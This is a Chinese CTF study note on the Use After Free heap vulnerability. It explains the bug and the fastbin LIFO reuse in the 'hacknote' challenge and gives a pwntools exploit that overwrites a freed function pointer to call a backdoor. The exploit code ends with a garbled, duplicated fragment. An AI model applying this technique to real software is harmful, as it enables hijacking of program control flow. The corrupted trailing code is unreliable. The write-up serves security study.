我的学习笔记大量都是基于CTF-WIKI。
UAF,Use After Free的缩写,是一种常见漏洞。
原理
Use After Free意如其名,是一个内存漏洞,当一个内存块被释放后又被使用,有以下几种情况:
- 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
- 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
- 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。
例题
链接:https://pan.baidu.com/s/1ItYklH0FyT0CNrs7Jjumuw
提取码:F1re
首先纵观全局,调试一下后,还原一下结构体:
struct note {
void (*printnote)();
char *content;
};
分析一下,系统一共有几个函数:
①:addnote: 系统先申请一个0x10的结构体,其中前八个字节拿来存放prev_size和size,后八个字节拿来存放两个地址,分别是结构体里函数的地址和content所在的地址。接着用户可以申请一个自定义大小的堆块,拿来存放content数据。
②:printnote:代码如下,会去print出结构体第二个指针指向的地址里的内容,也就是content的内容。
return puts(*(const char **)(a1 + 4));
③:del_note:漏洞出现的地方,程序在free后没有把指针置为NULL。存在UAF漏洞。
④:print_note:调用printnote函数输出content内容。
以及系统有一个后门函数magic
return system("cat flag");
那思路就很明确了,我们需要控制程序流程到该后门函数。目的也很明确了,只能去改写结构体里函数的地址为后门函数地址。
具体思路
①:首先创建两个note:note0与note1,这两个note的size大小只要不与0x8相同就行。这里我申请的0x10
原因:避免后期申请note2的时候取note0或者note1的content堆段,就达不到修改结构体里指针的效果。
效果:
②:先free掉note0,再free掉note1。
原因:注意note0与note1里都有0x10大小的堆块和0x content size大小的堆块。具体为什么要先free掉note0再free掉note1后面一起说。
效果:
同时现在fastbin里出现了相应的空闲堆块。
③:再申请一个0x8大小的note3。
由于创建用户申请的堆块前会申请一个结构体:
*(¬elist + i) = malloc(8u);
这个堆块会直接从fastbin里取一块0x10大小的堆块。
且fastbin的每个 bin 采取 LIFO 策略,最近释放的 chunk 会更早地被分配
由于print_note有检查非空机制:
if ( *(¬elist + v1) )
(*(void (__cdecl **)(_DWORD))*(¬elist + v1))(*(¬elist + v1));
因此我们最终是只能print note0的,所以我们的就得修改note0结构体堆块里的指针,因此我们之前需要后delete note1,让note1的空闲堆块先被分配,接下来才是把note0的空闲堆块分给content。也就是说,现在我们把note0的指针段变成了note3的content,因此可以修改。
exp:
from pwn import*
context.log_level = 'debug'
r=process('/mnt/hgfs/ubuntu/hacknote')
def addnote(size,content):
r.sendlineafter("Your choice :",b'1')
r.sendlineafter("Note size :",str(size))
r.sendlineafter("Content :",content)
def delete(id):
r.sendlineafter("Your choice :",b'2')
r.sendlineafter("Index :",str(id))
def printnote(id):
r.sendlineafter("Your choice :",b'3')
r.sendlineafter("Index :",str(id))
addnote(0x10,b'N1rvana')
addnote(0x10,b'Nirvana')
delete(0)
delete(1)
magic_addr = 0x08048986
payload = p32(magic_addr)*2
addnote(8,payload)
gdb.attach(r)
pause()
printnote(0)
r.interactive()
dr = 0x08048986
payload = p32(magic_addr)*2
addnote(8,payload)
gdb.attach®
pause()
printnote(0)
r.interactive()